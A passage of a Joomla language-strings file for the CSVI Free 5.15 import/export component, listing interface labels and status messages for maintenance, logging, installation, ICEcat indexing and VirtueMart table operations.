gzip to download the index files reduces the size significantly. The server may not have enough resources to unpack the gzip file, in that case you can disable the gzip download." COM_CSVI_MAINTENANCE_ICECAT_FILE="Files index" COM_CSVI_ICECAT_FILE_LABEL="Files index" COM_CSVI_ICECAT_FILE_DESC="Select here to load the files index" COM_CSVI_ICECAT_FILE_LOAD_LABEL="Load type" COM_CSVI_ICECAT_FILE_LOAD_DESC="Select how the files index file needs to be imported. The FULL method will load the file as 1 big file, the SINGLE method will load the file line by line. The SINGLE method will take considerably longer compared to the FULL method. Always use the FULL method unless this is not allowed on the server." COM_CSVI_ICECAT_FILE_SINGLE="Single" COM_CSVI_ICECAT_FILE_FULL="Full" COM_CSVI_ICECAT_FILE_LOAD_RECORDS_LABEL="Lines per import" COM_CSVI_ICECAT_FILE_LOAD_RECORDS_DESC="Set the number of lines that should be read on every run." COM_CSVI_ICECAT_FILE_LOAD_WAIT_LABEL="Time between imports" COM_CSVI_ICECAT_FILE_LOAD_WAIT_DESC="Set the time the import should wait between runs. Use this to ease the load on the server" COM_CSVI_MAINTENANCE_ICECAT_SUPPLIER="Supplier index" COM_CSVI_ICECAT_SUPPLIER_LABEL="Supplier" COM_CSVI_ICECAT_SUPPLIER_DESC="Select here to load the supplier index" ; views/maintenance/tmpl/icecat.php COM_CSVI_RECORDS_PROCESSED="Records processed: " COM_CSVI_TIME_RUNNING="Time running" COM_CSVI_MAX_IMPORT_TIME_PASSED="The script has been running longer than the maximum allowed execution time, this usually indicates the import has stopped." ; views/maintenance/tmpl/log.php COM_CSVI_LOG_ACTION="Action" COM_CSVI_LOG_RESULT="Result" COM_CSVI_LOG_MESSAGE="Message" COM_CSVI_NO_DETAILS_FOUND="No log details have been found" COM_CSVI_MAINTENANCE_RESULT_NO_LOG="%s has finished" ; views/logdetails/view.html.php COM_CSVI_BACK="Back" ; views/logdetails/tmpl/default.php COM_CSVI_TEMPLATE_TYPE="Type" COM_CSVI_FILE_NAME="Filename" COM_CSVI_DEBUG_LOG="Debug log" COM_CSVI_LOG_STATISTICS="Statistics" COM_CSVI_LOGDETAILS_FILTER="Filter: " COM_CSVI_LOGDETAILS_GO="Go" COM_CSVI_LOGDETAILS_RESET="Reset" COM_CSVI_LOG_LINE="Line" ; views/log/view.html.php COM_CSVI_LOG="Log" COM_CSVI_DETAILS="Details" COM_CSVI_DELETE_ALL="Delete all" ; views/log/tmpl/default.php COM_CSVI_FILTER="Filter" COM_CSVI_RESET="Reset" COM_CSVI_ACTION="Action" COM_CSVI_ACTION_TYPE="Action type" COM_CSVI_TEMPLATE_NAME_TITLE="Template name" COM_CSVI_TIMESTAMP="Timestamp" COM_CSVI_USER="User" COM_CSVI_RECORDS="Records" COM_CSVI_RUN_CANCELLED="Cancelled" COM_CSVI_FILENAME="Filename" COM_CSVI_RUN_ID="Run ID" COM_CSVI_YES="Yes" COM_CSVI_NO="No" COM_CSVI_NO_LOG_ENTRIES_FOUND="No log entries found" COM_CSVI_LOG_ARE_YOU_SURE_REMOVE="Are you sure you want to delete the log entries?" COM_CSVI_LOG_ARE_YOU_SURE_REMOVE_ALL="Are you sure you want to delete ALL log entries?" ; views/log/tmpl/logreader.php COM_CSVI_NO_LOG_FOUND="No debug log has been found: %s" COM_CSVI_DATE="Date" COM_CSVI_SOFTWARE="Software" COM_CSVI_LOG_LINES="Processed %d lines" ; views/install/view.html.php COM_CSVI_CSVI_VERSION="5.15" COM_CSVI_UPDATEAVAILABLEFIELDS_LABEL="Update available fields" COM_CSVI_INSTALLDEFAULTTEMPLATES_LABEL="Install example templates" COM_CSVI_INSTALL="Installation" ; views/install/view.json.php resultsmessages="resultsmessages" resultsCOM_CSVI_COMPLETED_="resultsCOM_CSVI_COMPLETED_" ; views/install/tmpl/default.php COM_CSVI_NONEW_VERSION="No old version found" COM_CSVI_FOUND_VERSION="Found version %s" COM_CSVI_NEW_VERSION="Install version %s" COM_CSVI_REMOVEOLDTABLES_LABEL="Remove existing backup tables" COM_CSVI_UPGRADE_CSVI="Upgrade to CSVI Free 5.15" COM_CSVI_UPGRADE_CSVI_DESC="The upgrade will convert existing templates, settings, logs and currencies if available." COM_CSVI_INSTALL_CSVI="Install CSVI Free 5.15" COM_CSVI_INSTALL_CSVI_DESC="The install will do a clean installation of CSVI Free 5.15" COM_CSVI_INSTALL_FINISHED="Finished installing CSVI Free 5.15" COM_CSVI_ERROR_UPDATING_VERSION="Error updating to new version" COM_CSVI_ERROR_DURING_INSTALL="An error has occured during installation. Below is the response received from the server: " ; views/importfile/view.html.php COM_CSVI_IMPORTING="Importing" COM_CSVI_IMPORT="Import" ; views/importfile/tmpl/default.php COM_CSVI_TEMPLATE_NAME="Template name: %s" ; views/exportfile/tmpl/cron.php COM_CSVI_SAVED_FILE="File saved to: %s" ; views/csvi/view.html.php COM_CSVI_CONTROL_PANEL="Control Panel" COM_CSVI_CONFIGURATION="CSVI Options" ; views/cron/view.html.php COM_CSVI_NO_CRON_DATA_FOUND="No data found to create cron command" COM_CSVI_CRON="Cron" ; views/cron/tmpl/default.php COM_CSVI_CRONTITLE_STRING="Cron command to use:" COM_CSVI_CRONNOTE="To be able to use the cron line, a few things must be changed. To change:
      • php: replace with the server specific full php path e.g /usr/bin/php
      • username: fill in the username that is used for the cron job
      • passwd: fill in the password that is used for the cron job
      • " ; views/availablefields/view.html.php COM_CSVI_NO_AVAILABLE_FIELDS="No available fields found, the available fields can be updated from the maintenance section." COM_CSVI_EXPORT="Export" COM_CSVI_AVAILABLE_FIELDS="Available fields" COM_CSVI_UPDATE="Update" ; views/availablefields/tmpl/default.php COM_CSVI_AV_FILTER="Filter" COM_CSVI_AV_GO="Go" COM_CSVI_AV_RESET="Reset" COM_CSVI_SHOW_IDFIELDS="Show ID fields" COM_CSVI_AV_ID="ID" COM_CSVI_AV_CSVI_NAME="CSVI Name" COM_CSVI_AV_VM_NAME="Name" COM_CSVI_AV_TABLE="Table" COM_CSVI_IS_PRIMARY=" [primary]" ; views/about/view.html.php COM_CSVI_ABOUT="About" ; views/about/tmpl/default.php COM_CSVI_FOLDER="Folder" COM_CSVI_FOLDER_STATUS="Status" COM_CSVI_FOLDER_OPTIONS="Options" COM_CSVI_WRITABLE="Writable" COM_CSVI_NOT_WRITABLE="Not writable" COM_CSVI_FOLDER_CREATE="Create folder" COM_CSVI_ABOUT_DISPLAY_ERRORS="Display errors" COM_CSVI_ABOUT_MAGIC_QUOTES_RUNTIME="Magic quotes runtime" COM_CSVI_ABOUT_MAGIC_QUOTES_GPC="Magic quotes gpc" COM_CSVI_ABOUT_PHP="PHP version" COM_CSVI_ABOUT_JOOMLA="Joomla version" COM_CSVI_ABOUT_SETTING="Setting" COM_CSVI_ABOUT_VALUE="Value" ; tables/com_virtuemart/calcs.php COM_CSVI_CHECK_CALC_EXISTS="Check if a calculation rule exist" COM_CSVI_USE_CALC_ID="Use existing calculation rule" ; tables/com_virtuemart/customs.php COM_CSVI_CHECKING_CUSTOMFIELD_EXISTS="Check if custom field already exists" ; tables/com_virtuemart/product_prices.php COM_CSVI_VM_PRODUCT_PRICE="Finding a product_price_id" COM_CSVI_VM_PRODUCT_PRICE_SHOPPER_GROUP="Finding a product price shopper group ID" ; tables/com_virtuemart/ratings.php COM_CSVI_CHECK_RATING_EXISTS="Check if a rating already exists" ; tables/com_virtuemart/rating_reviews.php COM_CSVI_CHECK_RATING_REVIEW_EXISTS="Check if a rating review already exists" ; tables/com_virtuemart/rating_votes.php COM_CSVI_CHECK_RATING_VOTE_EXISTS="Check if a rating vote already exists" ; tables/com_virtuemart/waitingusers.php COM_CSVI_CHECKING_WAITINGLIST_EXISTS="Checking if user is already on the waitinglist" ; models/about.php COM_CSVI_NEW_VERSION_AVAILABLE="A new version is available. You have version %s and the latest version is %s. You can download the latest release from the download page." COM_CSVI_VERSION_UPTODATE="No newer version found. Latest version is %s." ; models/availablefields.php COM_CSVI_AVAILABLE_FIELDS_TABLE_EMPTIED="Available fields table emptied" COM_CSVI_AVAILABLE_FIELDS_TABLE_COULD_NOT_BE_EMPTIED="Available fields table could not be emptied" COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_BEEN_ADDED="Custom available fields have been added" COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED="Custom available fields have not been added" COM_CSVI_AVAILABLE_FIELDS_HAVE_BEEN_ADDED="Available fields have been added for table %s" COM_CSVI_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED="Available fields have not been added" ; models/category.php COM_CSVI_DELETE_OLD_CATEGORIES_XREF="Delete old category references" COM_CSVI_NOT_DELETE_OLD_CATEGORIES_XREF="Could not delete old category references" COM_CSVI_CHECK_CATEGORY_EXISTS="Check if category path exists" ; models/export.php COM_CSVI_EXPORT_ORDER_USER_EMPTY="" COM_CSVI_EXPORT_DONT_USE="Don't use" COM_CSVI_BILLING_ADDRESS="Billing address" COM_CSVI_SHIPPING_ADDRESS="Shipping address" COM_CSVI_BILLING_SHIPPING_ADDRESS="Billing or shipping address" ; models/exportfile.php COM_CSVI_EXPORTFILE_CREATED="The file %s has been created" COM_CSVI_NO_EXPORT_CLASS="No export class found" COM_CSVI_NO_EXPORT_FIELDS="No export fields have been chosen" COM_CSVI_CSVI_VERSION_TEXT="CSVI Free Version: " COM_CSVI_PHP_VERSION="PHP version: %s" COM_CSVI_GENERAL_SETTINGS="General settings" COM_CSVI_DEBUG_CHOSEN_DESTINATION="Destination: %s" COM_CSVI_DEBUG_EXPORT_PATH="Export path: %s" COM_CSVI_DEBUG_EXPORT_FTP_HOST="FTP host: %s" COM_CSVI_DEBUG_EXPORT_FTP_PORT="FTP port: %s" COM_CSVI_DEBUG_EXPORT_FTP_USERNAME="FTP username: %s" COM_CSVI_DEBUG_EXPORT_FTP_ROOT="FTP root: %s" COM_CSVI_DEBUG_EXPORT_GENERATED_FILENAME="Export filename: %s" COM_CSVI_DEBUG_CHOSEN_EXPORT_TYPE="Export type: %s" COM_CSVI_DEBUG_EXPORT_FILENAME="User given filename: %s" COM_CSVI_DEBUG_EXPORT_FILE="Export filetype: %s" COM_CSVI_DEBUG_EXPORT_SITE="Export site: %s" COM_CSVI_USING_DELIMITER="Using delimiter: %s" COM_CSVI_USING_ENCLOSURE="Using enclosure: %s" COM_CSVI_DEBUG_INCLUDE_HEADER="Include column headers: %s" COM_CSVI_DEBUG_SIGNATURE="Add signature: %s" COM_CSVI_DEBUG_EXPORT_FRONTEND="Export frontend: %s" COM_CSVI_ALL_STATES="Both" COM_CSVI_DEBUG_PUBLISH_STATE="Export state: %s" COM_CSVI_DEBUG_RECORD_START="Number of records to export: %s" COM_CSVI_DEBUG_RECORD_END="Start from record number: %s" COM_CSVI_DEBUG_GROUPBY="Record grouping: %s" COM_CSVI_DEBUG_VM_ITEMID="Item ID: %s" COM_CSVI_DEBUG_EXPORT_DATE_FORMAT="Date format: %s" COM_CSVI_DEBUG_EXPORT_DECIMALS="Number of decimals: %s" COM_CSVI_DEBUG_EXPORT_DEC_SEP="Decimal separator: %s" COM_CSVI_DEBUG_EXPORT_THOUSAND_SEP="Thousand separator: %s" COM_CSVI_DEBUG_ADD_CURRENCY_TO_PRICE="Add currency to price: %s" COM_CSVI_DEBUG_EXPORT_FIELD="Field: %s" COM_CSVI_CANNOT_CREATE_FOLDER="Cannot create folder: %s" COM_CSVI_CANNOT_OPEN_FILE="Cannot open file: %s" COM_CSVI_CANNOT_WRITE_FILE="Cannot write file: %s" COM_CSVI_NO_MAIL_SEND="An error occured sending e-mail. Error: %s" COM_CSVI_MAIL_SEND="Mail has been sent" COM_CSVI_GET_CATEGORY_JF="Get JoomFish category" ; models/importfile.php COM_CSVI_NO_VALID_CLASS_FOUND="No valid import class found. Have you chosen the correct component?" COM_CSVI_CANNOT_LOAD_FIELDS="Cannot load the configuration fields" COM_CSVI_INCORRECT_COLUMN_COUNT="Incorrect column count: Configuration: %s fields :: File: %s fields.

        Read the Frequently asked questions on this issue." COM_CSVI_FIELDS="Fields" COM_CSVI_VALUE="Value: " COM_CSVI_DEBUG_PROCESS_LINE="Process line %d" COM_CSVI_MAXIMUM_EXECUTION_LIMIT_EXCEEDED="Maximum execution time about to be exceeded. Time passed: %s seconds" COM_CSVI_MAXIMUM_MEMORY_LIMIT_EXCEEDED="Maximum memory limit about to be exceeded. Memory used: %s MB" COM_CSVI_AUTO_DETECT_DELIMITERS="Auto-detect delimiters: %s" COM_CSVI_CHOSEN_IMPORT_TYPE="Import type: %s" COM_CSVI_USE_HEADER="Use column headers for configuration: %s" COM_CSVI_REFRESH_XML_HEADER="Refresh xml headers for every record: %s" COM_CSVI_SKIP_FIRST_LINE="Skip first line: %s" COM_CSVI_IGNORE_NON_EXIST="Ignore non-existing products: %s" COM_CSVI_OVERWRITE_EXISTING_DATA="Overwrite existing data: %s" COM_CSVI_SKIP_DEFAULT_VALUE="Skip default value: %s" COM_CSVI_USING_PREVIEW="Using preview: %s" COM_CSVI_UNPUBLISH_BEFORE_IMPORT="Unpublish before import: %s" COM_CSVI_APPEND_CATEGORIES="Append categories: %s" COM_CSVI_PROCESS_IMAGE="Process images: %s" COM_CSVI_CREATE_IMAGE_NAME="Create image name: %s" COM_CSVI_IMAGE_BASED_ON="Image name based on: %s" COM_CSVI_IMAGE_NAME_FORMAT="Image name format: %s" COM_CSVI_CONVERT_IMAGE="Convert image: %s" COM_CSVI_SAVE_IMAGES_ON_SERVER="Save images on server: %s" COM_CSVI_AUTOMATIC_THUMBS="Automatic thumbnail creation: %s" COM_CSVI_FORMAT_THUMBS="Thumbnail format: %s" COM_CSVI_DIMENSION_THUMBS="Thumbnail width x height: %s x %s" COM_CSVI_DEBUG_FILE_PATH_PRODUCT_IMAGES="File location product images: %s" COM_CSVI_DEBUG_FILE_PATH_CATEGORY_IMAGES="File location category images: %s" COM_CSVI_DEBUG_FILE_PATH_MEDIA="File location media files: %s" COM_CSVI_DEBUG_MAX_EXECUTION_TIME="Maximum execution time found %s seconds" COM_CSVI_PRODUCT_UNPUBLISH_BEFORE_IMPORT="Products have been unpublished before import" COM_CSVI_COULD_NOT_UNPUBLISH_BEFORE_IMPORT="Could not unpublish products before import" COM_CSVI_DEBUG_LOAD_CONFIG_FIELDS="Load config fields" COM_CSVI_FIELD_EMPTY="Field: <empty field>" COM_CSVI_NO_COLUMN_HEADERS_FOUND="No column headers found" COM_CSVI_FIELD_NOT_INCLUDED="COM_CSVI_FIELD_NOT_INCLUDED" COM_CSVI_NO_SUPPORT="These fields have been found but are not supported by CSVI: %s" COM_CSVI_UNSUPPORTED_FIELDS="There are unsupported fields" COM_CSVI_USING_FILE_FOR_CONFIGURATION="Using file for configuration" COM_CSVI_FIELD_SKIPPED="skipped" COM_CSVI_IMPORT_FIELD="Field name: %s" COM_CSVI_USE_DATABASE_FOR_CONFIGURATION="Use database for configuration" COM_CSVI_DEBUG_PRODUCT_CURRENCY="Get the product currency" COM_CSVI_USE_ICECAT_FIELD="Use ICEcat data for field: %s" COM_CSVI_USE_FIELD_VALUE="Use field value" COM_CSVI_USE_DEFAULT_VALUE="Use default value" COM_CSVI_USE_NO_VALUE="Use no value" COM_CSVI_ICECAT_FOUND_REFERENCE="Found reference: %s" COM_CSVI_ICECAT_FOUND_MF_NAME="Found manufacturer name: %s" COM_CSVI_ICECAT_NO_MANUFACTURER="Cannot find a manufacturer name" COM_CSVI_ICECAT_NO_REFERENCE="No reference field found" ; models/install.php COM_CSVI_UPGRADE_OK="Upgrade completed successfully" COM_CSVI_INSTALL_NOK="An error occured during the installation. See the messages below for more details." COM_CSVI_LOG_ENTRIES_CONVERTED="Log entries converted" COM_CSVI_LOG_DETAIL_ENTRIES_CONVERTED="Log detail entries converted" COM_CSVI_LOG_DETAIL_ENTRIES_NOT_CONVERTED="Log detail entries not converted" COM_CSVI_LOG_ENTRIES_NOT_CONVERTED="Log entries not converted" COM_CSVI_LOG_MAINT_ENTRIES_UPDATED="Maintenance entries updated" COM_CSVI_LOG_MAINT_ENTRIES_NOT_UPDATED="Maintenance entries not updated" COM_CSVI_SETTINGS_CONVERTED="Settings converted" COM_CSVI_COMPONENT_HAS_NOT_BEEN_ADDED="Component file %s has not been added" COM_CSVI_COMPONENT_HAS_BEEN_ADDED="Component file %s has been added" COM_CSVI_COMPONENT_NOT_FOUND="Component file %s has not been found" COM_CSVI_REPLACEMENTS_CONVERTED="Replacements converted" COM_CSVI_TEMPLATE_SETTINGS_CONVERTED="Template settings converted" COM_CSVI_ICECAT_SUPPLIERS_CONVERTED="ICEcat suppliers converted" COM_CSVI_ICECAT_INDEX_CONVERTED="ICEcat index converted" COM_CSVI_CURRENCY_CONVERTED="Currencies converted" COM_CSVI_AVAILABLE_FIELDS_CONVERTED="Available fields converted" COM_CSVI_TEMPLATE_TABLES_CONVERTED="Template tables converted" COM_CSVI_LOGS_CONVERTED="Logs converted" COM_CSVI_LOG_DETAILS_CONVERTED="Log details converted" ; models/log.php COM_CSVI_CANNOT_BIND_LOG_DATA="The log data could not be binded" COM_CSVI_CANNOT_CHECK_LOG_DATA="The log data could not be checked" COM_CSVI_CANNOT_STORE_LOG_DATA="The log data could not be stored in the database" COM_CSVI_DELETE_LOG_FILE_NOT_FOUND="1 log file has not been found" COM_CSVI_DELETE_LOGS_FILE_NOT_FOUND="%s log files have not been found" COM_CSVI_DELETE_LOG_FILE="1 log file has been deleted" COM_CSVI_DELETE_LOGS_FILE="%s log files have been deleted" COM_CSVI_CANNOT_DELETE_LOG_FILE="1 log file has not been deleted" COM_CSVI_CANNOT_DELETE_LOGS_FILE="%s log files have not been deleted" COM_CSVI_DELETE_LOG_DATA="1 log entry has been deleted" COM_CSVI_DELETE_LOGS_DATA="%s log entries have been deleted" COM_CSVI_CANNOT_DELETE_LOG_DATA="1 log entry has not been deleted" COM_CSVI_CANNOT_DELETE_LOGS_DATA="%s log entries have not been deleted" COM_CSVI_DELETE_LOG_DETAILS_DATA="1 log detail records has been deleted" COM_CSVI_DELETE_LOGS_DETAILS_DATA="%s log detail records have been deleted" COM_CSVI_CANNOT_DELETE_LOG_DETAILS_DATA="1 log detail record cannot be deleted" COM_CSVI_CANNOT_DELETE_LOGS_DETAILS_DATA="%s log detail records cannot be deleted " COM_CSVI_DELETE_LOG_DATA_ALL_OK="All log entries have been deleted" COM_CSVI_DELETE_LOG_DATA_ALL_NOK="Cannot delete all log entries" COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_OK="All log details have been deleted" COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_NOK="Cannot delete log details" COM_CSVI_DOWNLOAD_DEBUG_LOG="Download debug log" COM_CSVI_VIEW_DEBUG_LOG="View debug log" COM_CSVI_NO_DEBUG_LOG_FOUND="No debug log found" COM_CSVI_LOG_DONT_USE="Don't use" ; models/logdetails.php COM_CSVI_SELECT_ACTION="Select action..." COM_CSVI_SELECT_RESULT="Select result..." ; models/maintenance.php COM_CSVI_PRODUCT_TABLE_HAS_BEEN_EMPTIED="Product table has been emptied" COM_CSVI_PRODUCT_TABLE_HAS_NOT_BEEN_EMPTIED="Product table has not been emptied" COM_CSVI_PRODUCT_PRICE_TABLE_HAS_BEEN_EMPTIED="Product price table has been emptied" COM_CSVI_PRODUCT_PRICE_TABLE_HAS_NOT_BEEN_EMPTIED="Product price table has not been emptied" COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_BEEN_EMPTIED="Product manufacturer link table has been emptied" COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_NOT_BEEN_EMPTIED="Product manufacturer link table has not been emptied" COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_BEEN_EMPTIED="Product custom fields table has been emptied" COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_NOT_BEEN_EMPTIED="Product custom fields table has not been emptied" COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_BEEN_EMPTIED="Product downloads table has been emptied" COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_NOT_BEEN_EMPTIED="Product downloads table has not been emptied" COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_BEEN_EMPTIED="Product medias table has been emptied" COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED="Product medias table has not been emptied" COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_BEEN_EMPTIED="Product shoppergroups table has been emptied" COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_NOT_BEEN_EMPTIED="Product shoppergroups table has not been emptied" COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_BEEN_EMPTIED="Category language %s has been emptied" COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED="Category language %s has not been emptied" COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_BEEN_EMPTIED="Product language %s has been emptied" COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED="Product language %s has not been emptied" COM_CSVI_CATEGORY_TABLE_HAS_BEEN_EMPTIED="Category table has been emptied" COM_CSVI_CATEGORY_TABLE_HAS_NOT_BEEN_EMPTIED="Category table has not been emptied" COM_CSVI_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED="Category link table has been emptied" COM_CSVI_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED="Category link table has not been emptied" COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_BEEN_EMPTIED="Category medias table has been emptied" COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED="Category medias table has been emptied" COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED="Product category link table has been emptied" COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED="Product category link table has not been emptied" COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_BEEN_EMPTIED="Product relations table has been emptied" COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_NOT_BEEN_EMPTIED="Product relations table has not been emptied" COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_EMPTIED="Manufacturer table has been emptied" COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_EMPTIED="Manufacturer table has not been emptied" COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_OPTIMIZED="Manufacturer table has been optimized" COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_OPTIMIZED="Manufacturer table has not been optimized" COM_CSVI_MANUFACTURER_AUTO_INCREMENT_RESET="Auto increment value reset" COM_CSVI_MANUFACTURER_AUTO_INCREMENT_NOT_RESET="Auto increment value not reset" COM_CSVI_TABLE_HAS_BEEN_OPTIMIZED="Table %s has been optimized" COM_CSVI_TABLE_HAS_NOT_BEEN_OPTIMIZED="Table %s has not been optimized" COM_CSVI_SAVED_CATEGORY="Saved category %s with order %s" COM_CSVI_NO_CATEGORIES_FOUND="No categories found" COM_CSVI_EXCHANGE_RATE_USD_ADDED="Exchange rate for U.S. dollar added" COM_CSVI_EXCHANGE_RATE_JPY_ADDED="Exchange rate for Japanese yen added" COM_CSVI_EXCHANGE_RATE_BGN_ADDED="Exchange rate for Bulgarian lev added" COM_CSVI_EXCHANGE_RATE_CZK_ADDED="Exchange rate for Czech koruna added" COM_CSVI_EXCHANGE_RATE_DKK_ADDED="Exchange rate for Danish krone added" COM_CSVI_EXCHANGE_RATE_ILS_ADDED="Exchange rate for Israeli shekels added" COM_CSVI_EXCHANGE_RATE_EEK_ADDED="Exchange rate for Estonian kroon added" COM_CSVI_EXCHANGE_RATE_GBP_ADDED="Exchange rate for British pound added" COM_CSVI_EXCHANGE_RATE_HUF_ADDED="Exchange rate for Hungarian forint added" COM_CSVI_EXCHANGE_RATE_LTL_ADDED="Exchange rate for Lithuanian litai added" COM_CSVI_EXCHANGE_RATE_LVL_ADDED="Exchange rate for Latvian lat added" COM_CSVI_EXCHANGE_RATE_PLN_ADDED="Exchange rate for Polish zloty added" COM_CSVI_EXCHANGE_RATE_RON_ADDED="Exchange rate for Romanian lei added" COM_CSVI_EXCHANGE_RATE_SEK_ADDED="Exchange rate for Swedish kronor added" COM_CSVI_EXCHANGE_RATE_CHF_ADDED="Exchange rate for Swiss franc added" COM_CSVI_EXCHANGE_RATE_NOK_ADDED="Exchange rate for Norwegian kroner added" COM_CSVI_EXCHANGE_RATE_HRK_ADDED="Exchange rate for Croatian kuna added" COM_CSVI_EXCHANGE_RATE_RUB_ADDED="Exchange rate for Russian ruble added" COM_CSVI_EXCHANGE_RATE_TRY_ADDED="Exchange rate for Turkish lira added" COM_CSVI_EXCHANGE_RATE_AUD_ADDED="Exchange rate for Australian dollar added" COM_CSVI_EXCHANGE_RATE_BRL_ADDED="Exchange rate for Brazil real added" COM_CSVI_EXCHANGE_RATE_CAD_ADDED="Exchange rate for Canadian dollar added" COM_CSVI_EXCHANGE_RATE_CNY_ADDED="Exchange rate for Chinese yuan added" COM_CSVI_EXCHANGE_RATE_HKD_ADDED="Exchange rate for Hong Kong dollar added" COM_CSVI_EXCHANGE_RATE_IDR_ADDED="Exchange rate for Indonesian rupiah added" COM_CSVI_EXCHANGE_RATE_INR_ADDED="Exchange rate for Indian rupee added" COM_CSVI_EXCHANGE_RATE_KRW_ADDED="Exchange rate for South Korean won added" COM_CSVI_EXCHANGE_RATE_MXN_ADDED="Exchange rate for Mexican pesos added" COM_CSVI_EXCHANGE_RATE_MYR_ADDED="Exchange rate for Malaysian ringgit added" COM_CSVI_EXCHANGE_RATE_NZD_ADDED="Exchange rate for New Zealand dollar added" COM_CSVI_EXCHANGE_RATE_PHP_ADDED="Exchange rate for Philippine peso added" COM_CSVI_EXCHANGE_RATE_SGD_ADDED="Exchange rate for Singapore dollar added" COM_CSVI_EXCHANGE_RATE_THB_ADDED="Exchange rate for Thai baht added" COM_CSVI_EXCHANGE_RATE_ZAR_ADDED="Exchange rate for South African rand added" COM_CSVI_CANNOT_LOAD_EXCHANGERATE_FILE="Cannot load exchange rate file" COM_CSVI_MAINTENANCE_CATEGORIES_DELETED="Empty categories have been deleted" COM_CSVI_MAINTENANCE_CATEGORIES_NOT_DELETED="Empty categories have not been deleted" COM_CSVI_MAINTENANCE_CATEGORIES_XREF_DELETED="Invalid category references have been deleted" COM_CSVI_MAINTENANCE_CATEGORIES_XREF_NOT_DELETED="Invalid category references have not been deleted" COM_CSVI_EXAMPLE_TEMPLATE_INSTALLED="%s example templates have been installed" COM_CSVI_NO_EXAMPLE_TEMPLATE_INSTALLED="No example templates found to install. Do you already have them installed?" COM_CSVI_TEMP_CLEANED="Temp folder has been cleaned" COM_CSVI_TEMP_PATH_NOT_FOUND="Temp folder path has not been found" COM_CSVI_BACKUP_COMPLETE_FOR="Backup completed for table %s" COM_CSVI_BACKUP_DOWNLOAD_LINK="Download backup file" COM_CSVI_BACKUP_NO_ZIP_CREATE="The zipfile could not be created." COM_CSVI_COULD_NOT_OPEN_FILE="Could not open file %s" COM_CSVI_ICECAT_INDEX_NOT_UNPACKED="ICEcat index file could not be unpacked" COM_CSVI_ICECAT_SUPPLIER_NOT_UNPACKED="ICEcat supplier file could not be unpacked" COM_CSVI_ICECAT_INDEX_LOADED="ICEcat index has been loaded" COM_CSVI_ICECAT_INDEX_NOT_LOADED="ICEcat index could not be loaded. Error occured: %s" COM_CSVI_ICECAT_SUPPLIERS_LOADED="ICEcat suppliers have been loaded" COM_CSVI_ICECAT_SUPPLIERS_NOT_LOADED="ICEcat supplier could not be loaded. Error occured: %s" COM_CSVI_ICECAT_NO_USER_PASS="No username or password found for ICEcat. Have you setup the settings?" COM_CSVI_BACKUP_TEMPLATE="Backup complete for template %s" COM_CSVI_BACKUP_NO_TEMPLATE="Backup not complete for template %s" COM_CSVI_BACKUP_TEMPLATE_PATH="Backup file stored as: %s" COM_CSVI_NO_UPLOADED_FILE_PROVIDED="No uploaded file provided: %s" COM_CSVI_RESTORE_TEMPLATE="Template %s restored" COM_CSVI_NO_RESTORE_TEMPLATE="Template %s not restored" COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER="Cannot create unpack folder: %s" COM_CSVI_PRODUCTS_UNPUBLISHED="%u products have been unpublished" COM_CSVI_PRODUCTS_NOT_UNPUBLISHED="An error occured unpublishing the products. Error: %s" COM_CSVI_PRODUCTS_NOT_FOUND="No products have been found to unpublish" COM_CSVI_MAKE_CHOICE="-- Make a choice --" COM_CSVI_SORTCATEGORIES_LABEL="Sort categories" COM_CSVI_EXCHANGERATES_LABEL="Load exchange rates" COM_CSVI_CLEANTEMP_LABEL="Clean temp folder" COM_CSVI_BACKUPTEMPLATES_LABEL="Backup templates" COM_CSVI_RESTORETEMPLATES_LABEL="Restore templates" COM_CSVI_OPTIMIZETABLES_LABEL="Optimize tables" COM_CSVI_UNPUBLISHPRODUCTBYCATEGORY_LABEL="Unpublish products by category" COM_CSVI_REMOVECSVITABLES_LABEL="Remove backup tables" COM_CSVI_BACKUPVM_LABEL="Backup database" COM_CSVI_EMPTYDATABASE_LABEL="Empty database" COM_CSVI_ICECATINDEX_LABEL="Load ICEcat indexes" COM_CSVI_NO_OPTIONS_FOUND="No options found" ; tables/categories_lang.php COM_CSVI_CHECK_CATEGORY_LANG="Check category language" COM_CSVI_ADD_CATGEGORY_LANG="Add category language" COM_CSVI_CHECK_CATGEGORY_SLUG="Check category slug" ; models/templates.php COM_CSVI_SAVE_AS_NEW_FOR_NEW_TEMPLATE="-- Select template to load --" COM_CSVI_PROCESS_SETTINGS_SAVED="Settings for template %s have been saved" COM_CSVI_PROCESS_SETTINGS_NOT_SAVED="An error occured saving the settings. Error: %s" 